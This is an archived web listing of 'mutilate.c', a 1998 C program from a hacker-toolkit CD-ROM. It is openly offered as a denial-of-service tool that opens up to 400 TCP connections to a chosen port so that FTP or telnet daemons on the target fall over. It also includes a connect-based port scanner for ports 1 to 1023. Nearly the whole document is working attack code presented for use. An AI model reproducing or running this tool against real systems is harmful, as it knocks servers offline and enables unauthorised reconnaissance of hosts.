home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
The Elite Hackers Toolkit
/
TheEliteHackersToolkitVolume1_1998.rar
/
HACKERS.BIN
/
hackers
/
mutilate.c
< prev
next >
Wrap
C/C++ Source or Header
|
1998-09-09
|
5KB
|
167 lines
/*********************************************
* Mutilate v1.0 *
* By HoGs HeaD *
* ------------------------------------------ *
* What this program does: *
* ------------------------------------------ *
* This is a port mutilator, connects as *
* many times as possible to a port resulting *
* in a DoS attack or lag kill. Run it on *
* a small FTP server or telnet server and *
* watch the daemons fall.... *
* Fear the built-in port scanner! *
* Build using: *
* *
* $ gcc mutilate -o mutilate.c *
* *
* You can't modify this and redistribute it *
* unless i have given you permission. *
* *
* (C)1998 HoGs HeaD & Inertia *
*********************************************/
#include <stdio.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>
#define PROG_NAME "Mutilate"
#define HIGH_PORT 1024
/***************
* Usage Table *
****************/
void usage()
{
printf("usage: %s <IP address> <port (or -s for scan)>\n\n", PROG_NAME);
exit(0);
}
/****************
* Title Banner *
*****************/
void banner()
{
puts("\nMutilate by HoGs HeaD and Inertia");
puts("----------------------------------\n");
}
/********************
* PortScan Function *
********************/
void portscan(char *the_ip)
{
struct hostent *scand; /* Well golly jeepers batman, let's init some shiz... */
struct sockaddr_in scan;
int sck;
int c, portnum;
for(portnum=1; portnum<HIGH_PORT; portnum++){ /* start the hunt.. */
if(isdigit(*the_ip)){
scan.sin_addr.s_addr = inet_addr(the_ip);
} else{ /* resolve the host */
scand = gethostbyname(the_ip);
strncpy((char *)&scan.sin_addr, (char *)scand->h_addr, sizeof(scan.sin_addr));
}
scan.sin_family = AF_INET;
scan.sin_port = htons(portnum);
sck = socket(AF_INET, SOCK_STREAM, 0); /* create the socket */
if(sck < 0){
printf("Socket cannot be established!\n");
}
c = connect(sck, (struct sockaddr *)&scan, sizeof(scan)); /* connect the socket */
if(c < 0){
/* we aren't connected, so... */
} else{
/* we're connected, bewm, notify user. */
printf("Found an open port on %d...\n", portnum);
}
shutdown(sck, 2);
}
close(sck);
}
/****************
* Main Function *
****************/
void main(int argc, char **argv)
{
struct hostent *th;
struct sockaddr_in target[400];
int count=1;
int sock, error, port;
char *curr_ip;
banner();
if(argc < 3){
usage();
}
curr_ip = argv[1];
if (!strcmp (argv[2], "-s")) {
printf("Beginning a port scan on %s...\n\n", argv[1]);
portscan(argv[1]);
exit(0);
}
port = atoi(argv[2]);
printf("Now opening connections to %s...\n\n", curr_ip);
/*******************
* Begin Mutilation *
*******************/
for(; count<400; ++count)
{
if(isdigit(*curr_ip)) /* If the host specified is a numerical IP */
target[count].sin_addr.s_addr = inet_addr(curr_ip);
else { /* If the host specified as a hostname */
th = gethostbyname(curr_ip);
strncpy((char *)&target[count].sin_addr, (char *)th->h_addr, sizeof(target[count].sin_addr));
}
target[count].sin_family = AF_INET;
target[count].sin_port = htons(port);
sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock < 0){
printf("Error setting up socket!\n");
exit(2);
}
error = connect(sock, (struct sockaddr *)&target[count], sizeof target[count]);
if(error < 0)
printf("Error connecting to: %d : %s\n", port, strerror(errno));
else {
printf("Opened %d sockets to host...\n", count);
}
}
printf("\nOpened 400 socks to server, ending...\n");
close(sock);
}
/***************
* End Program *
***************/